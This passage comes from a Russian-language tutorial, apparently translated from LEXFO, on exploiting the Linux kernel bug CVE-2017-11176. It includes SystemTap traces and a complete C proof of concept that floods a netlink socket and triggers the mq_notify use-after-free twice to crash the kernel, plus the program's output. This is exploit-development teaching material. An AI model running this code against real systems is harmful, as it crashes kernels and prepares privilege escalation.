.nl_groups
= 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf(«[ ] preparing blocking netlink socketn«);
if ((send_fd = _socket(AF_NETLINK,
SOCK_DGRAM, NETLINK_USERSOCK)) < 0
||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM,
NETLINK_USERSOCK)) <
0)
{
perror(«socket»);
goto fail;
}
printf(«[+] socket created (send_fd = %d, recv_fd = %d)n«, send_fd, recv_fd);
// simulate netlink_autobind()
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror(«[-] bind»);
goto
fail;
}
addr.nl_pid++;
}
printf(«[+] netlink socket bound (nl_pid=%d)n«, addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror(«[-] setsockopt»); // no worry if it fails, it
is just an optim.
else
printf(«[+] receive buffer reducedn«);
printf(«[ ] flooding socketn«);
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
// <——
don’t forget MSG_DONTWAIT
;
if (errno != EAGAIN)
// <——
did we failed because the receive buffer is full ?
{
perror(«[-] sendmsg»);
goto fail;
}
printf(«[+] flood completedn«);
_close(send_fd);
printf(«[+] blocking socket readyn«);
return recv_fd;
fail:
printf(«[-] failed to prepare block socketn«);
return -1;
}
Теперь оценим результаты при помощи System Tap. С этого
момента System Tap будет использоваться исключительно для исследования ядра, но
не для модификации чего-либо. Перед запуском не забудьте удалить строку,
где сокет помечается как «перегруженный».
(2768-2768) [SYSCALL]
==>> sendmsg (3,
0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland]
==>> copy_from_user ()
(2768-2768) [uland]
==>> copy_from_user ()
(2768-2768) [uland]
==>> copy_from_user ()
(2768-2768) [netlink]
==>> netlink_sendmsg (kiocb=0xffff880006137bb8
sock=0xffff88002fdba0c0 ms
g=0xffff880006137f18
len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt
= 1
(2768-2768) [netlink]
==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind
= 0
(2768-2768) [skb]
==>> alloc_skb (priority=0xd0
size=?)
(2768-2768) [skb]
==>> skb_put (skb=0xffff88003d298840
len=0x2800)
(2768-2768) [skb] <<== skb_put
= ffff880006150000
(2768-2768) [iovec]
==>> memcpy_fromiovec (kdata=0xffff880006150000
iov=0xffff880006137da8 len=
0x2800)
(2768-2768) [uland]
==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec
= 0
(2768-2768) [netlink]
==>> netlink_unicast (ssk=0xffff880006173c00
skb=0xffff88003d298840 pid=0
x76 nonblock=0x40)
(2768-2768) [netlink]
==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk]
==>> sk_filter (sk=0xffff88002f89ac00
skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter
= 0
(2768-2768) [netlink]
==>> netlink_attachskb (sk=0xffff88002f89ac00
skb=0xffff88003d298840 time
o=0xffff880006137ae0
ssk=0xffff880006173c00)
-={ dump_netlink_sock:
0xffff88002f89ac00 }=-
— sk = 0xffff88002f89ac00
— sk->sk_rmem_alloc = 0 //
<——
— sk->sk_rcvbuf = 2312
// <——
— sk->sk_refcnt = 3
— nlk->state = 0
— sk->sk_flags = 100
-={ dump_netlink_sock:
END}=-
(2768-2768) [netlink] <<== netlink_attachskb
= 0
-={ dump_netlink_sock:
0xffff88002f89ac00 }=-
— sk = 0xffff88002f89ac00
— sk->sk_rmem_alloc = 10504
// <——
— sk->sk_rcvbuf = 2312
// <——
— sk->sk_refcnt = 3
— nlk->state = 0
— sk->sk_flags = 100
-={ dump_netlink_sock:
END}=-
(2768-2768) [netlink] <<== netlink_unicast
= 2800
(2768-2768) [netlink] <<== netlink_sendmsg
= 2800
(2768-2768) [SYSCALL]
<<== sendmsg= 10240
Прекрасно! Мы удовлетворили условие, связанное с тем,
чтобы буфер приема был полным (sk_rmem_alloc > sk_rcvbuf). Теперь следующий
вызов mq_attachskb() вернет 1!
Обновляем список задач:
1. [Решено]
Чтобы netlink_attachskb()
возвращала 1.
2. [Решено]
Чтобы был разблокирован поток эксплоита.
3. [Решено]
Чтобы второй вызов fget() вернул NULL.
Все сделано? Почти…
Финальная версия концептуального кода
В последних трех разделах мы смогли удовлетворить все
условия, необходимые для активации уязвимости, используя исключительно код в
пространстве пользователя. Перед тем как показать финальную версию концетпуального
кода, нужно сделать кое-что еще.
Во время заполнения буфера приема и вызова netlink_bind()
из-за функции netlink_insert() счетчик ссылок был увеличен на единицу. То есть
перед вызовов mq_notify() счетчик ссылок будет равен двум (вместо единицы).
Поскольку уязвимость дает нам примитив, который уменьшает
счетчик ссылок структуры netlink_sock на 1, нам нужно активировать брешь дважды!
Перед активацией уязвимости мы использовали dup() для разблокировки главного потока. Далее нам нужно
вызвать эту функцию повторно (поскольку старый файловый дескриптор закрыт).
Таким образом, один файловый дескриптор будет использоваться для разблокировки,
а другой – для активации уязвимости.
Финальная версия концептуального кода (не запускайте System Tap):
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
// ============================================================================
//
—————————————————————————-
//
============================================================================
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]
//
—————————————————————————-
// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes,
sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket,
domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen)
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen)
syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg,
sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd,
addr, addrlen)
//
—————————————————————————-
#define PRESS_KEY()
do { printf(«[ ] press key to
continue…n»); getchar(); } while(0)
// ============================================================================
//
—————————————————————————-
// ============================================================================
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd;
bool is_ready; // we can use pthread barrier instead
};
//
—————————————————————————-
static void*
unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the
unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;
sleep(5); // gives some time for the main thread
to block
printf(«[ ][unblock] closing %d fdn», uta->sock_fd);
_close(uta->sock_fd);
printf(«[ ][unblock] unblocking nown«);
if (_setsockopt(uta->unblock_fd, SOL_NETLINK,
NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror(«[+] setsockopt»);
return NULL;
}
// —————————————————————————-
static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];
// initialize the unblock thread
arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;
// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;
printf(«[ ] creating unblock thread…n«);
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror(«[-]
pthread_create»);
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf(«[+] unblocking thread has been
created!n«);
printf(«[ ] get ready to blockn«);
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
perror(«[-] mq_notify»);
goto
fail;
}
printf(«[+] mq_notify succeedn«);
return 0;
fail:
return
-1;
}
//
============================================================================
// —————————————————————————-
//
============================================================================
/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family
= AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf(«[ ] preparing blocking netlink socketn«);
if ((send_fd = _socket(AF_NETLINK,
SOCK_DGRAM, NETLINK_USERSOCK)) < 0
||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM,
NETLINK_USERSOCK)) <
0)
{
perror(«socket»);
goto fail;
}
printf(«[+] socket created (send_fd = %d, recv_fd
= %d)n«, send_fd, recv_fd);
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror(«[-] bind»);
goto
fail;
}
addr.nl_pid++;
}
printf(«[+] netlink socket bound (nl_pid=%d)n«, addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror(«[-] setsockopt»); // no worry if it fails, it
is just an optim.
else
printf(«[+] receive buffer reducedn«);
printf(«[ ] flooding socketn«);
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror(«[-] sendmsg»);
goto fail;
}
printf(«[+] flood completedn«);
_close(send_fd);
printf(«[+] blocking socket readyn«);
return recv_fd;
fail:
printf(«[-] failed to prepare block socketn«);
return -1;
}
// ============================================================================
//
—————————————————————————-
//
============================================================================
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;
printf(«[ ] -={ CVE-2017-11176 Exploit }=-n«);
if ((sock_fd = prepare_blocking_socket()) < 0)
goto
fail;
printf(«[+] netlink socket created = %dn«, sock_fd);
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror(«[-] dup»);
goto
fail;
}
printf(«[+] netlink fd duplicated
(unblock_fd=%d, sock_fd2=%d)n«, unblock_fd, sock_fd2);
// trigger the bug twice
if (decrease_sock_refcounter(sock_fd,
unblock_fd) ||
decrease_sock_refcounter(sock_fd2,
unblock_fd))
{
goto fail;
}
printf(«[ ] ready to crash?n«);
PRESS_KEY();
// TODO: exploit
return 0;
fail:
printf(«[-] exploit failed!n«);
PRESS_KEY();
return -1;
}
// ============================================================================
//
—————————————————————————-
//
============================================================================
Получаем следующий результат:
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread…
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread…
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue…
<<<
KERNEL CRASH HERE >>>
Теперь до тех пор, пока эксплоит не завершит свою работу, и
ядро не будет восстановлено, система будет постоянно падать при каждом
запуске. Сей факт немного раздражает, но со временем вы привыкнете. Возможно,
во время тестирования нужно отключить все ненужные сервисы (например,
графическую оболочку и т. д.). Однако не забудьте восстановить все службы, чтобы
система максимально соответствовала целевой (эти сервисы тоже влияют на ядро).
Заключение
В этой статье была рассмотрена система планирования,
состояния задач и то, как происходит миграция между активным состоянием и
состоянием ожидания с использованием очередей ожидания. Понимание этой схемы
позволяет активировать поток и выиграть «гонку».
При помощи системного вызова close()
и трюка, связанного с системным вызовом dup(), мы
сделали так, чтобы второй вызов fget() возвратил NULL, что
необходимо для активации бреши. Кроме того, мы изучили различные пути, как
добраться до кода после метки retry, внутри функции netlink_attachskb(),
чтобы в итоге эта функция вернула 1.
В конце мы получили рабочую концептуальную версию кода,
запускаемую из пространства пользователя, которая стабильно аткивирует
уязвимость без использования System Tap, что в итоге привело к краху ядра.
В следующей статье будет рассмотрена важная тема:
эксплуатация уязвимости use‑after‑free. В третьей части
будут объяснены основы аллокатора slab, конфликт типов, переразмещение, и как в
итоге получить примитив произвольного вызова. Кроме того, будут рассмотрены
новые инструменты, облегчающие сборку и отладку эксплоита. В конце мы сможем
вызвать панику ядра в любое момент по нашему желанию.
Источник: